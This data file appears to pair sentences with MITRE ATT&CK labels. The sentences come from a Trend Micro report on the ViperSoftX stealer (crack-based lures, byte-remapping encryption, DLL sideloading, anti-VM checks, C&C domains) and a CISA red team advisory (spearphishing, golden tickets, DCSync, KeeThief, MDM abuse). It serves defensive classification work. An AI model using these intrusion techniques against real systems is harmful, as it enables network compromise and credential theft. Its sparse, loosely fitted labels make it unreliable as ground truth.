{"sentence": "We’ve noted a significant number of victims in the consumer and enterprise sectors, with Australia, Japan, and the United States as the top three countries affected by ViperSoftX in the consumer category.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Meanwhile, victim organizations from Southeast Asian countries comprised the enterprise sector.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Top 10 countries affected by ViperSoftX in both the consumer and enterprise sectors Source: Trend Micro™ Smart Protection Network™ (SPN) Arrival routine For majority of cases, ViperSoftX typically arrives as a software crack, an activator or a patcher, or a key generator (keygen).", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "It is also a common gimmick for cybercriminals to pose malware as a keygen or an activator.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Actors behind ViperSoftX take this narrative a step further by using actual non-malicious software to hide and pose as typical illegal software versions.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "ViperSoftX uses these files as “carriers” of the main malware encrypted within the overlay.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "While the malicious actors abuse neither definitive software nor target any definitive applications, they commonly use multimedia editors or video format converters, cryptocurrency coinminer apps, phone-related desktop apps, and system cleaner apps.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Typical arrival package of the malware The malware arrives as a package of the carrier executable and the decryptor/loader DLL, typically downloaded from the websites or torrents of (illegal) software solutions.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "For the most part, the malware is posed as a software activator, patcher, or keygen, among other similar software executables.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The malicious routine starts after the software executables have been included and run in the system.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "We also noticed that ViperSoftX’s primary C&C servers for the second stage download would change on a monthly basis:", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "February: chatgigi2[.]com March: arrowlchat[.]com April: static-cdn-349[.]net Infection routine Figure 3.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Using WQL command SELECT Manufacturer, Model FROM Win32_ComputerSystem to query ROOT\\CIMV2, it checks for the following strings: VMWare Virtual The malware checks if there are monitoring tools, specifically Process Monitor, running in the current machine with the following strings: procmon procmon64 procmon64a Lastly, ViperSoftX checks for a few installed and active antivirus products, namely: Windows Defender ESET", "labels": ["T1518.001"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "If all checks pass, the malware proceeds to decrypt the PowerShell code and starts downloading the main ViperSoftX routine.", "labels": ["T1140"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "It does not require any complex computations, and the only operation it requires is to put the correct byte in the correct location.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Unlike the typical bitwise operations from typical decryption routines, ViperSoftX uses byte remapping to ensure that the shellcode cannot be easily decrypted without the correct byte map, weaving a cross-stitch template to the palette of 256 (0x100h) bytes.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Though this is a very rigid method of hiding its codes, it provides some level of protection against forced decryption.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Comparison of two ViperSoftX carrier executables with byte remapping.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Note: The bytes of the encrypted section is a specific index on the byte map found in the sideloaded DLL.", "labels": ["T1027", "T1574.002"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Comparing the mapping of the first four bytes on two samples shows that their offsets within the encrypted region remain the same since they result in a similar shellcode even if they are composed of different bytes per binary.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "When the screenshots of the two carrier executables are compared, the number (or code) changed but the location/offset remains the same.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The same is true for all the other bytes.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "However, considering this is a byte character (with 256 different bytes) and an assembly code instruction at that, brute-forcing it would unlikely yield correctly decrypted results.", "labels": ["T1574.002"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "This ensures that the shellcode will not be decrypted without the correct DLL since the latter contains the correct byte map.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Moreover, all the strings, binaries, and other relevant data within the ViperSoftX DLL also gets decrypted the same way.", "labels": ["T1140"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "ViperSoftX DLL containing the hard-coded byte map (256 bytes long denoting specific bytes from “0x00” to “0xff”) Figure 7.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The actual bytes of the decrypted shellcode This technique for encryption-decryption is not new but is mostly popular with script malware.", "labels": ["T1140"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "In contrast to our ViperSoftX sample, which is a full binary file, the table becomes harder to find.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Furthermore, since the data to be decrypted is in another file, the routine becomes even more difficult to investigate, as analysts would need the correct pair for decryption.", "labels": ["T1140"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Password theft Since it was first documented, ViperSoftX has been known as a cryptocurrency stealer.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "However, we found from our investigations that ViperSoftX can check not only for cryptocurrencies but also for a few password managers.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "It also uses some basic anti-C&C analyses by disallowing communications using web browsers.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Response when accessing the C&C via web browsers (top), and modifying the user-agent to access the C&C and return encoded data (bottom)", "labels": ["T1105"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The malware also checks for the following wallets via browser extensions: Binance Coin98 Coinbase Jaxx Liberty MetaMask Mew CX (now Enkrypt)", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "PowerShell code searching for the browser link files to inject a command line and load malicious extensions Figure 10.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "ViperSoftX", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "However, we were surprised to see that the enterprise sector made up over 40% of the total number of victims.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "It is also notable that the leading countries and regions affected by the malware campaign are Australia and Japan with almost the same numbers, while US came at a close third with almost half as much victims at the consumer level.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "On the other hand, the majority of the affected enterprise sector can be found in Asia.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Top 10 countries affected by ViperSoftX malware in the enterprise (top) and consumer (bottom) sectors Source: Trend Micro Smart Protection Network (SPN) Conclusion and insights While other cybercriminals use sideloading to load another non-binary component (usually the encrypted payload, which comes together as a package with the normal executable and the sideloaded DLL), the chosen techniques of the actors behind ViperSoftX (which involve using WMI Query Language (WQL), DLL sideloading/DLL load order hijacking, PowerShell reflective loading, browser hijacking, and C&C protection) are sophisticated.", "labels": ["T1027", "T1574.002"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Although we have observed some changes throughout their campaigns, the pace of ViperSoftX’s development can be considered slow compared to other types of stealer malware.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "In this respect, we believe there are actually at least two groups responsible for this ViperSoftX campaign based on the malware’s C&C communication.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "As the first set of players, the main group is responsible for the deployments.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "ViperSoftX uses a domain-generating algorithm (DGA) to hide its C&C server and generate useless traffic.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "From the DGA technique, we observed that majority of the activities are dominated by the main group, which utilizes a simple DGA.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "However, there are a number of activities that appear to use a different DGA.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "While ViperSoftX appears to be targeting consumers considering its chosen means for entry, we found it interesting that it also affects the business sector.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "One possible theory behind why businesses are affected by this campaign has to do with recent layoffs and possible budget cuts.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "While some users might be looking to freelance and upend their incomes while in between jobs, others might have been prompted to download tools from unofficial platforms to “save costs” and circumvent tools not found in office-issued devices.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Nonetheless, we strongly recommend that users download the software and applications they need from official platforms.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Cracks and other illegally owned software will only work for certain periods since majority of license verification methods are now done in the cloud.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "If features such as updates to circumvent the replacement of cracks or patches are disabled, users would then be putting their respective systems at greater risk of attacks or infections.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Here are some additional recommendations to prevent the risks of infection from malware types like ViperSoftX: Download software and applications from official platforms and sources.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Instead of downloading illegal software, choose alternative freeware solutions from reputable sources and platforms.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Trend Micro solutions Trend Micro customers are protected from threats like ViperSoftX with Trend Micro Vision One™, which provides multilayered protection and behavior detection, thereby blocking questionable behavior and tools before a piece of malware can do any damage.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Implementing a multifaceted approach can aid organizations in securing potential entry points into their systems such as endpoint, email, web, and network.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "With the help of security solutions that can identify malevolent elements and questionable activities, enterprises can be safeguarded via automated protection while also ensuring that no significant incidents go unnoticed. Indicators of Compromise (IOCs)", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The list of IOCs can be downloaded here.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Authors Don Ovid Ladores Threats Analyst", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "SUMMARY The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory (CSA) detailing activity and key findings from a recent CISA red team assessment—in coordination with the assessed organization—to provide network defenders recommendations for improving their organization's cyber posture.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Actions to take today to harden your local environment: Establish a security baseline of normal network activity; tune network and host-based appliances to detect anomalous behavior.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Conduct regular assessments to ensure appropriate procedures are created and can be followed by security staff and end users.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "In 2022, CISA conducted a red team assessment (RTA) at the request of a large critical infrastructure organization with multiple geographically separated sites.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Multifactor authentication (MFA) prompts prevented the team from achieving access to one SBS, and the team was unable to complete its viable plan to compromise a second SBSs within the assessment period.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Despite having a mature cyber posture, the organization did not detect the red team’s activity throughout the assessment, including when the team attempted to trigger a security response.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA is releasing this CSA detailing the red team’s tactics, techniques, and procedures (TTPs) and key findings to provide network defenders of critical infrastructure organizations proactive steps to reduce the threat of similar activity from malicious cyber actors.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This CSA highlights the importance of collecting and monitoring logs for unusual activity as well as continuous testing and exercises to ensure your organization’s environment is not vulnerable to compromise, regardless of the maturity of its cyber posture.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA encourages critical infrastructure organizations to apply the recommendations in the Mitigations section of this CSA—including conduct regular testing within their security operations center—to ensure security processes and procedures are up to date, effective, and enable timely detection and mitigation of malicious activity.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See the appendix for a table of the red team’s activity mapped to MITRE ATT&CK tactics and techniques.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Introduction CISA has authority to, upon request, provide analyses, expertise, and other technical assistance to critical infrastructure owners and operators and provide operational and timely technical assistance to Federal and non-Federal entities with respect to cybersecurity risks.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "(See generally 6 U.S.C. §§ 652[c][5], 659[c][6].)", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "After receiving a request for a red team assessment (RTA) from an organization and coordinating some high-level details of the engagement with certain personnel at the organization, CISA conducted the RTA over a three-month period in 2022.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During RTAs, a CISA red team emulates cyber threat actors to assess an organization’s cyber detection and response capabilities.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During Phase I, the red team attempts to gain and maintain persistent access to an organization’s enterprise network while avoiding detection and evading defenses.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Phase I: Red Team Cyber Threat Activity Overview The organization’s network was segmented with both logical and geographical boundaries.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "From that host, the team moved laterally to a misconfigured server, from which they compromised the domain controller (DC).", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "They then used forged credentials to move to multiple hosts across different sites in the environment and eventually gained root access to all workstations connected to the organization’s mobile device management (MDM) server.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used this root access to move laterally to SBS-connected workstations.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, a multifactor authentication (MFA) prompt prevented the team from achieving access to one SBS, and Phase I ended before the team could implement a seemingly viable plan to achieve access to a second SBS.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team first conducted open-source research [TA0043] to identify potential targets for spearphishing.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Specifically, the team looked for email addresses [T1589.002] as well as names", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1589.003] that could be used to derive email addresses based on the team’s identification of the email naming scheme.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team sent tailored spearphishing emails to seven targets using commercially available email platforms [T1585.002].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used the logging and tracking features of one of the platforms to analyze the organization’s email filtering defenses and confirm the emails had reached the target’s inbox.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team built a rapport with some targeted individuals through emails, eventually leading these individuals to accept a virtual meeting invite.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The meeting invite took them to a red team-controlled domain [T1566.002] with a button, which, when clicked, downloaded a “malicious” ISO file [T1204].", "labels": ["T1204.002"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "After the download, another button appeared, which, when clicked, executed the file.", "labels": ["T1204.002"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Two of the seven targets responded to the phishing attempt, giving the red team access to a workstation at Site 1 (Workstation 1) and a workstation at Site 2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "On Workstation 1, the team leveraged a modified SharpHound collector, ldapsearch, and command-line tool, dsquery, to query and scrape AD information, including AD users", "labels": ["T1059.003"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1087.002], computers [T1018], groups [T1069.002], access control lists (ACLs), organizational units (OU), and group policy objects (GPOs)", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "SharpHound is a BloodHound collector, an open-source AD reconnaissance tool.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Bloodhound has multiple collectors that assist with information querying.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Hosts with Unconstrained Delegation enabled store Kerberos ticket-granting tickets (TGTs) of all users that have authenticated to that host.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Many of these hosts, including a Site 1 SharePoint server, were Windows Server 2012R2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The default configuration of Windows Server 2012R2 allows unprivileged users to query group membership of local administrator groups.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team queried parsed Bloodhound data for members of the SharePoint admin group and identified several standard user accounts with administrative access.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team initiated a second spearphishing campaign, similar to the first, to target these users.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "One user triggered the red team’s payload, which led to installation of a persistent beacon on the user’s workstation (Workstation 2), giving the team persistent access to Workstation 2. Lateral Movement, Credential Access, and Persistence The red team moved laterally", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[TA0008] from Workstation 2 to the Site 1 SharePoint server and had SYSTEM level access to the Site 1 SharePoint server, which had Unconstrained Delegation enabled.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "They used this access to obtain the cached credentials of all logged-in users—including the New Technology Local Area Network Manager (NTLM) hash for the SharePoint server account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "They ran the DFSCoerce python script (DFSCoerce.py), which prompted DC authentication to the SharePoint server using the server’s NTLM hash.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "(DFSCoerce abuses Microsoft's Distributed File System [MS-DFSNM] protocol to relay authentication against an arbitrary server.[1])", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then used the TGT to harvest advanced encryption standard (AES)-256 hashes via DCSync", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used the krbtgt account hash throughout the rest of their assessment to perform golden ticket attacks [T1558.001] in which they forged legitimate TGTs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team also used the asktgt command to impersonate accounts they had credentials for by requesting account TGTs [T1550.003].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then moved from SCCM Server 1 to a central SCCM server (SCCM Server 2) at a third site (Site 3).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Specifically, the team: Queried the AD using Lightweight Directory Access Protocol (LDAP) for information about the network's sites and subnets [T1016].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This query revealed all organization sites and subnets broken down by classless inter-domain routing (CIDR) subnet and description.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Used LDAP queries and domain name system (DNS) requests to identify recently active hosts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Attempted to move laterally with an SMB beacon", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team impersonated an administrative service account via a golden ticket attack (from SCCM Server 1); the account had administrative privileges on Workstation 3.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The user employed a KeePass password manager that the team was able to use to obtain passwords for other internal websites, a kernel-based virtual machine (KVM) server, virtual private network (VPN) endpoints, firewalls, and another KeePass database with credentials.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The server administrator relied on a password manager, which stored credentials in a database file.", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team pulled the decryption key from memory using KeeThief and used it to unlock the database [T1555.005].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team moved laterally from SCCM Server 2 to an SCCM DP server at Site 5 and from the SCCM Server 1 to hosts at two other sites (Sites 4 and 6).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team installed persistent beacons at each of these sites.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Specifically, the team moved from the Site 5 SCCM DP server to a public DC; and then they moved from the public DC to the private DC.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See Figure 1 for a timeline of the red team’s initial access and lateral movement showing key access points.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Figure 1: Red Team Cyber Threat Activity: Initial Access and Lateral MovementWhile traversing the network, the team varied their lateral movement techniques to evade detection and because the organization had non-uniform firewalls between the sites and within the sites (within the sites, firewalls were configured by subnet).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team’s primary methods to move between sites were AppDomainManager hijacking and dynamic-link library (", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "In some instances, they used Windows Management Instrumentation (WMI)", "labels": ["T1047"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Event Subscriptions", "labels": ["T1047"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1546.003].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team impersonated several accounts to evade detection while moving.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This technique relies on anonymous SMB pipe binds", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "In other cases, the team attempted to determine valid accounts based on group name and purpose.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If the team had previously acquired the credentials, they used asktgt to impersonate the account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If the team did not have the credentials, they used the golden ticket attack to forge the account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Post-Exploitation Activity: Gaining Access to SBSs With persistent, deep access established across the organization’s networks and subnetworks, the red team began post-exploitation activities and attempted to access SBSs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Trusted agents of the organization tasked the team with gaining access to two specialized servers (SBS 1 and SBS 2).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Phase I ended before the team could implement a plan to move to SBS 1.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, the team assesses that by using Secure Shell (SSH) session socket files (see below), they could have accessed any hosts available to the users whose workstations were compromised. Plan for Potential Access to SBS 1 Conducting open-source research", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[1591.001], the team identified that SBS 1 and 2 assets and associated management/upkeep staff were located at Sites 5 and 6, respectively.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team planned to use the organization’s mobile device management (MDM) software to move laterally to the SBS 1 administrator’s workstation and, from there, pivot to SBS 1 assets.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team identified the organization’s MDM vendor using open-source and AD information [T1590.006] and moved laterally to an MDM distribution point server at Site 5 (MDM DP 1).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This server contained backups of the MDM MySQL database on its D: drive in the Backup directory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The backups included the encryption key needed to decrypt any encrypted values, such as SSH passwords [T1552].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team moved laterally to an MDM server (MDM 1) at Site 3, searched files on the server, and found plaintext credentials [T1552.001] to an application programming interface (API) user account stored in PowerShell scripts.", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team attempted to leverage these credentials to browse to the web login page of the MDM vendor but were unable to do so because the website directed to an organization-controlled single-sign on (SSO) authentication page.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "While in the MDM MySQL database, Elevating the selected MDM user’s account privileges to administrator privileges, and Modifying the user’s account by adding Create Policy and Delete Policy permissions [T1098], [T1548]. Creating a policy via the MDM API [T1106], which instructed Workstation 4 to download and execute a payload to give the team interactive access as root to the workstation.", "labels": ["T1105"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Verifying their interactive access.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note: A SSH socket file allows a user to open multiple SSH sessions through a single, already authenticated SSH connection without additional authentication.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team could not take advantage of the open SSH socket.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Instead, they searched through SBS 1 architecture diagrams and documentation on Workstation 4.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The documentation listed the SecOps cloud infrastructure IP ranges [T1580].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These “trusted” IP addresses were a public /16 subnet; the team was able to request a public IP in that range from the same cloud provider, and Workstation 4 made successful outbound SSH connections to this cloud infrastructure.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team intended to use that connection to reverse tunnel traffic back to the workstation and then access the bastion host via the open SSH socket file.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, Phase 1 ended before they were able to implement this plan.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Attempts to Access SBS 2 Conducting open-source research, the team identified an organizational branch [T1591] that likely had access to SBS 2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team queried the AD to identify the branch’s users and administrators.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
